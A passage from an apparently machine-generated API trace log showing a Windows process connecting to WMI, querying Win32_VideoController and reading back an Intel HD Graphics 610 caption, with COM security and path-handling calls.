ppv=0x12fede8 | out: ppv=0x12fede8*=0x13824b8) returned 0x0 [0211.218] WbemLocator:IWbemLocator:ConnectServer (in: This=0x13824b8, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x12fee7c | out: ppNamespace=0x12fee7c*=0x13ee2d0) returned 0x0 [0211.240] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed10 | out: ppvObject=0x12fed10*=0x1395560) returned 0x0 [0211.240] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1395560, pProxy=0x13ee2d0, pAuthnSvc=0x12fed60, pAuthzSvc=0x12fed5c, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58, pImpLevel=0x12fed48, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50 | out: pAuthnSvc=0x12fed60*=0xa, pAuthzSvc=0x12fed5c*=0x0, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58*=0x6, pImpLevel=0x12fed48*=0x2, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50*=0x1) returned 0x0 [0211.240] WbemLocator:IUnknown:Release (This=0x1395560) returned 0x1 [0211.240] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee2d0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed04 | out: ppvObject=0x12fed04*=0x1395584) returned 0x0 [0211.240] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fecf0 | out: ppvObject=0x12fecf0*=0x1395560) returned 0x0 [0211.240] WbemLocator:IClientSecurity:SetBlanket (This=0x1395560, pProxy=0x13ee2d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0211.241] WbemLocator:IUnknown:Release (This=0x1395560) returned 0x2 [0211.241] WbemLocator:IUnknown:Release (This=0x1395584) returned 0x1 [0211.241] CoTaskMemFree (pv=0x13cceb8) [0211.241] WbemLocator:IUnknown:AddRef (This=0x13ee2d0) returned 0x2 [0211.241] WbemLocator:IUnknown:Release (This=0x13824b8) returned 0x0 [0211.241] CoGetContextToken (in: pToken=0x12fe230 | out: pToken=0x12fe230) returned 0x0 [0211.241] CoGetContextToken (in: pToken=0x12fe638 | out: pToken=0x12fe638) returned 0x0 [0211.241] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee2d0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5d0 | out: ppvObject=0x12fe5d0*=0x1395568) returned 0x0 [0211.241] WbemLocator:IRpcOptions:Query (in: This=0x1395568, pPrx=0x13f39c0, dwProperty=2, pdwValue=0x12fe6d0 | out: pdwValue=0x12fe6d0) returned 0x80004002 [0211.241] WbemLocator:IUnknown:Release (This=0x1395568) returned 0x2 [0211.241] CoGetContextToken (in: pToken=0x12fec10 | out: pToken=0x12fec10) returned 0x0 [0211.241] CoGetContextToken (in: pToken=0x12feb70 | out: pToken=0x12feb70) returned 0x0 [0211.241] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee2d0, riid=0x12fec40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x12feb08 | out: ppvObject=0x12feb08*=0x13ee2d0) returned 0x0 [0211.242] WbemLocator:IUnknown:Release (This=0x13ee2d0) returned 0x2 [0211.242] SysStringLen (param_1=0x0) returned 0x0 [0211.242] CoGetContextToken (in: pToken=0x12fed20 | out: pToken=0x12fed20) returned 0x0 [0211.242] IWbemServices:ExecQuery (in: This=0x13ee2d0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_VideoController", lFlags=16, pCtx=0x0, ppEnum=0x12fef3c | out: ppEnum=0x12fef3c*=0x13ac910) returned 0x0 [0211.249] IUnknown:QueryInterface (in: This=0x13ac910, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed8c | out: ppvObject=0x12fed8c*=0x13ac914) returned 0x0 [0211.250] IClientSecurity:QueryBlanket (in: This=0x13ac914, pProxy=0x13ac910, pAuthnSvc=0x12feddc, pAuthzSvc=0x12fedd8, pServerPrincName=0x12fedd0, pAuthnLevel=0x12fedd4, pImpLevel=0x12fedc4, pAuthInfo=0x12fedc8, pCapabilites=0x12fedcc | out: pAuthnSvc=0x12feddc*=0xa, pAuthzSvc=0x12fedd8*=0x0, pServerPrincName=0x12fedd0, pAuthnLevel=0x12fedd4*=0x6, pImpLevel=0x12fedc4*=0x2, pAuthInfo=0x12fedc8, pCapabilites=0x12fedcc*=0x1) returned 0x0 [0211.250] IUnknown:Release (This=0x13ac914) returned 0x1 [0211.250] IUnknown:QueryInterface (in: This=0x13ac910, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed80 | out: ppvObject=0x12fed80*=0x1396384) returned 0x0 [0211.250] IUnknown:QueryInterface (in: This=0x13ac910, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed6c | out: ppvObject=0x12fed6c*=0x13ac914) returned 0x0 [0211.250] IClientSecurity:SetBlanket (This=0x13ac914, pProxy=0x13ac910, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0211.257] IUnknown:Release (This=0x13ac914) returned 0x2 [0211.257] WbemLocator:IUnknown:Release (This=0x1396384) returned 0x1 [0211.257] CoTaskMemFree (pv=0x13ccee8) [0211.257] IUnknown:AddRef (This=0x13ac910) returned 0x2 [0211.257] CoGetContextToken (in: pToken=0x12fe2a8 | out: pToken=0x12fe2a8) returned 0x0 [0211.257] CoGetContextToken (in: pToken=0x12fe6b0 | out: pToken=0x12fe6b0) returned 0x0 [0211.257] IUnknown:QueryInterface (in: This=0x13ac910, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe648 | out: ppvObject=0x12fe648*=0x1396368) returned 0x0 [0211.258] WbemLocator:IRpcOptions:Query (in: This=0x1396368, pPrx=0x13f3b88, dwProperty=2, pdwValue=0x12fe748 | out: pdwValue=0x12fe748) returned 0x80004002 [0211.258] WbemLocator:IUnknown:Release (This=0x1396368) returned 0x2 [0211.258] CoGetContextToken (in: pToken=0x12fec88 | out: pToken=0x12fec88) returned 0x0 [0211.258] CoGetContextToken (in: pToken=0x12febe8 | out: pToken=0x12febe8) returned 0x0 [0211.258] IUnknown:QueryInterface (in: This=0x13ac910, riid=0x12fecb8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12feb80 | out: ppvObject=0x12feb80*=0x13ac910) returned 0x0 [0211.258] IUnknown:Release (This=0x13ac910) returned 0x2 [0211.258] SysStringLen (param_1=0x0) returned 0x0 [0211.258] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13f22e8, puCount=0x12fef88 | out: puCount=0x12fef88*=0x2) returned 0x0 [0211.258] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fef84*=0x0, pszText=0x0 | out: puBuffLength=0x12fef84*=0xf, pszText=0x0) returned 0x0 [0211.258] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fef84*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef84*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0211.258] CoGetContextToken (in: pToken=0x12fedd8 | out: pToken=0x12fedd8) returned 0x0 [0211.258] IEnumWbemClassObject:Clone (in: This=0x13ac910, ppEnum=0x12fef94 | out: ppEnum=0x12fef94*=0x13ac2d0) returned 0x0 [0211.259] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee50 | out: ppvObject=0x12fee50*=0x13ac2d4) returned 0x0 [0211.260] IClientSecurity:QueryBlanket (in: This=0x13ac2d4, pProxy=0x13ac2d0, pAuthnSvc=0x12feea0, pAuthzSvc=0x12fee9c, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98, pImpLevel=0x12fee88, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90 | out: pAuthnSvc=0x12feea0*=0xa, pAuthzSvc=0x12fee9c*=0x0, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98*=0x6, pImpLevel=0x12fee88*=0x2, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90*=0x1) returned 0x0 [0211.260] IUnknown:Release (This=0x13ac2d4) returned 0x1 [0211.260] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee44 | out: ppvObject=0x12fee44*=0x1396784) returned 0x0 [0211.260] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee30 | out: ppvObject=0x12fee30*=0x13ac2d4) returned 0x0 [0211.260] IClientSecurity:SetBlanket (This=0x13ac2d4, pProxy=0x13ac2d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0211.261] IUnknown:Release (This=0x13ac2d4) returned 0x2 [0211.261] WbemLocator:IUnknown:Release (This=0x1396784) returned 0x1 [0211.261] CoTaskMemFree (pv=0x13ccc18) [0211.261] IUnknown:AddRef (This=0x13ac2d0) returned 0x2 [0211.261] CoGetContextToken (in: pToken=0x12fe358 | out: pToken=0x12fe358) returned 0x0 [0211.261] CoGetContextToken (in: pToken=0x12fe760 | out: pToken=0x12fe760) returned 0x0 [0211.261] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x1396768) returned 0x0 [0211.262] WbemLocator:IRpcOptions:Query (in: This=0x1396768, pPrx=0x13f39f0, dwProperty=2, pdwValue=0x12fe7f8 | out: pdwValue=0x12fe7f8) returned 0x80004002 [0211.262] WbemLocator:IUnknown:Release (This=0x1396768) returned 0x2 [0211.262] CoGetContextToken (in: pToken=0x12fed40 | out: pToken=0x12fed40) returned 0x0 [0211.262] CoGetContextToken (in: pToken=0x12feca0 | out: pToken=0x12feca0) returned 0x0 [0211.262] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x12fed70*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12fec38 | out: ppvObject=0x12fec38*=0x13ac2d0) returned 0x0 [0211.262] IUnknown:Release (This=0x13ac2d0) returned 0x2 [0211.262] SysStringLen (param_1=0x0) returned 0x0 [0211.262] IEnumWbemClassObject:Reset (This=0x13ac2d0) returned 0x0 [0211.263] CoTaskMemAlloc (cb=0x4) returned 0x1382618 [0211.263] IEnumWbemClassObject:Next (in: This=0x13ac2d0, lTimeout=-1, uCount=0x1, apObjects=0x1382618, puReturned=0x3274088 | out: apObjects=0x1382618*=0x6013660, puReturned=0x3274088*=0x1) returned 0x0 [0211.265] IUnknown:QueryInterface (in: This=0x6013660, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5f0 | out: ppvObject=0x12fe5f0*=0x6013660) returned 0x0 [0211.265] IUnknown:QueryInterface (in: This=0x6013660, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe5ac | out: ppvObject=0x12fe5ac*=0x0) returned 0x80004002 [0211.265] IUnknown:QueryInterface (in: This=0x6013660, riid=0x737e03bc*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe3cc | out: ppvObject=0x12fe3cc*=0x0) returned 0x80004002 [0211.265] IUnknown:QueryInterface (in: This=0x6013660, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe1a4 | out: ppvObject=0x12fe1a4*=0x0) returned 0x80004002 [0211.265] IUnknown:AddRef (This=0x6013660) returned 0x3 [0211.265] IUnknown:QueryInterface (in: This=0x6013660, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fdf04 | out: ppvObject=0x12fdf04*=0x0) returned 0x80004002 [0211.265] IUnknown:QueryInterface (in: This=0x6013660, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdeb4 | out: ppvObject=0x12fdeb4*=0x0) returned 0x80004002 [0211.265] IUnknown:QueryInterface (in: This=0x6013660, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fdec0 | out: ppvObject=0x12fdec0*=0x6013664) returned 0x0 [0211.266] IMarshal:GetUnmarshalClass (in: This=0x6013664, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fdec8 | out: pCid=0x12fdec8) returned 0x0 [0211.266] IUnknown:Release (This=0x6013664) returned 0x3 [0211.266] CoGetContextToken (in: pToken=0x12fdf20 | out: pToken=0x12fdf20) returned 0x0 [0211.266] CoGetContextToken (in: pToken=0x12fe328 | out: pToken=0x12fe328) returned 0x0 [0211.266] IUnknown:QueryInterface (in: This=0x6013660, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe3b4 | out: ppvObject=0x12fe3b4*=0x0) returned 0x80004002 [0211.266] IUnknown:Release (This=0x6013660) returned 0x2 [0211.266] CoGetContextToken (in: pToken=0x12fe900 | out: pToken=0x12fe900) returned 0x0 [0211.266] CoGetContextToken (in: pToken=0x12fe860 | out: pToken=0x12fe860) returned 0x0 [0211.266] IUnknown:QueryInterface (in: This=0x6013660, riid=0x12fe930*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fe92c | out: ppvObject=0x12fe92c*=0x6013660) returned 0x0 [0211.266] IUnknown:AddRef (This=0x6013660) returned 0x4 [0211.266] IUnknown:Release (This=0x6013660) returned 0x3 [0211.266] IUnknown:Release (This=0x6013660) returned 0x2 [0211.266] CoTaskMemFree (pv=0x1382618) [0211.266] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0211.266] IUnknown:AddRef (This=0x6013660) returned 0x3 [0211.266] IWbemClassObject:Get (in: This=0x6013660, wszName="__GENUS", lFlags=0, pVal=0x12fef84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff004*=0, plFlavor=0x12ff000*=0 | out: pVal=0x12fef84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x12ff004*=3, plFlavor=0x12ff000*=64) returned 0x0 [0211.266] IWbemClassObject:Get (in: This=0x6013660, wszName="__PATH", lFlags=0, pVal=0x12fef68*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fefec*=0, plFlavor=0x12fefe8*=0 | out: pVal=0x12fef68*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"", varVal2=0x0), pType=0x12fefec*=8, plFlavor=0x12fefe8*=64) returned 0x0 [0211.266] SysStringByteLen (bstr="\\\\NQDPDE\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"") returned 0x8a [0211.266] SysStringByteLen (bstr="\\\\NQDPDE\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"") returned 0x8a [0211.266] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef94 | out: ppv=0x12fef94*=0x135504c) returned 0x0 [0211.266] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef8c | out: pAptType=0x12fef8c*=1) returned 0x0 [0211.267] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef90 | out: ppvObject=0x12fef90*=0x0) returned 0x80004002 [0211.267] IUnknown:Release (This=0x135504c) returned 0x1 [0211.267] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe8f0 | out: ppv=0x12fe8f0*=0x1399748) returned 0x0 [0211.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x1399748, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb0c | out: ppvObject=0x12feb0c*=0x0) returned 0x80004002 [0211.267] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1399748, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb18 | out: ppvObject=0x12feb18*=0x13f2358) returned 0x0 [0211.267] WbemDefPath:IUnknown:Release (This=0x1399748) returned 0x0 [0211.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2358, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe73c | out: ppvObject=0x12fe73c*=0x13f2358) returned 0x0 [0211.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2358, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x0) returned 0x80004002 [0211.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2358, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe2ec | out: ppvObject=0x12fe2ec*=0x0) returned 0x80004002 [0211.268] WbemDefPath:IUnknown:AddRef (This=0x13f2358) returned 0x3 [0211.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2358, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe04c | out: ppvObject=0x12fe04c*=0x0) returned 0x80004002 [0211.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2358, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdffc | out: ppvObject=0x12fdffc*=0x0) returned 0x80004002 [0211.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2358, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe008 | out: ppvObject=0x12fe008*=0x13f3ab0) returned 0x0 [0211.268] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13f3ab0, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe010 | out: pCid=0x12fe010) returned 0x0 [0211.268] WbemDefPath:IUnknown:Release (This=0x13f3ab0) returned 0x3 [0211.268] CoGetContextToken (in: pToken=0x12fe068 | out: pToken=0x12fe068) returned 0x0 [0211.268] CoGetContextToken (in: pToken=0x12fe470 | out: pToken=0x12fe470) returned 0x0 [0211.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2358, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe4fc | out: ppvObject=0x12fe4fc*=0x0) returned 0x80004002 [0211.268] WbemDefPath:IUnknown:Release (This=0x13f2358) returned 0x2 [0211.268] WbemDefPath:IUnknown:Release (This=0x13f2358) returned 0x1 [0211.268] CoGetContextToken (in: pToken=0x12fee10 | out: pToken=0x12fee10) returned 0x0 [0211.268] CoGetContextToken (in: pToken=0x12fed70 | out: pToken=0x12fed70) returned 0x0 [0211.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2358, riid=0x12fee40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee3c | out: ppvObject=0x12fee3c*=0x13f2358) returned 0x0 [0211.268] WbemDefPath:IUnknown:AddRef (This=0x13f2358) returned 0x3 [0211.268] WbemDefPath:IUnknown:Release (This=0x13f2358) returned 0x2 [0211.268] WbemDefPath:IWbemPath:SetText (This=0x13f2358, uMode=0x4, pszPath="\\\\NQDPDE\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"") returned 0x0 [0211.268] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13f22e8, puCount=0x12fefc0 | out: puCount=0x12fefc0*=0x2) returned 0x0 [0211.268] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fefbc*=0x0, pszText=0x0 | out: puBuffLength=0x12fefbc*=0xf, pszText=0x0) returned 0x0 [0211.268] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefbc*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0211.268] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13f22e8, puCount=0x12fef8c | out: puCount=0x12fef8c*=0x2) returned 0x0 [0211.268] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fef88*=0x0, pszText=0x0 | out: puBuffLength=0x12fef88*=0xf, pszText=0x0) returned 0x0 [0211.268] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fef88*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef88*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0211.268] IWbemClassObject:Get (in: This=0x6013660, wszName="Caption", lFlags=0, pVal=0x12fef88*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x32748b8*=0, plFlavor=0x32748bc*=0 | out: pVal=0x12fef88*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 610", varVal2=0x0), pType=0x32748b8*=8, plFlavor=0x32748bc*=32) returned 0x0 [0211.269] SysStringByteLen (bstr="Intel(R) HD Graphics 610") returned 0x30 [0211.269] SysStringByteLen (bstr="Intel(R) HD Graphics 610") returned 0x30 [0211.269] IWbemClassObject:Get (in: This=0x6013660, wszName="Caption", lFlags=0, pVal=0x12fef90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x32748b8*=8, plFlavor=0x32748bc*=32 | out: pVal=0x12fef90*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 610", varVal2=0x0), pType=0x32748b8*=8, plFlavor=0x32748bc*=32) returned 0x0 [0211.269] SysStringByteLen (bstr="Intel(R) HD Graphics 610") returned 0x30 [0211.269] SysStringByteLen (bstr="Intel(R) HD Graphics 610") returned 0x30 [0211.269] CoTaskMemAlloc (cb=0x4) returned 0x1399748 [0211.269] IEnumWbemClassObject:Next (in: This=0x13ac2d0, lTimeout=-1, uCount=0x1, apObjects=0x1399748, puReturned=0x3274088 | out: apObjects=0x1399748*=0x0, puReturned=0x3274088*=0x0) returned 0x1 [0211.270] CoTaskMemFree (pv=0x1399748) [0211.270] CoGetContextToken (in: pToken=0x12feeb8 | out: pToken=0x12feeb8) returned 0x0 [0211.270] IUnknown:Release (This=0x13ac2d0) returned 0x1 [0211.270] IUnknown:Release (This=0x13ac2d0) returned 0x0 [0211.271] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fefcc | out: puCount=0x12fefcc*=0x2) returned 0x0 [0211.271] WbemDefPath:IWbemPath:GetText (in: 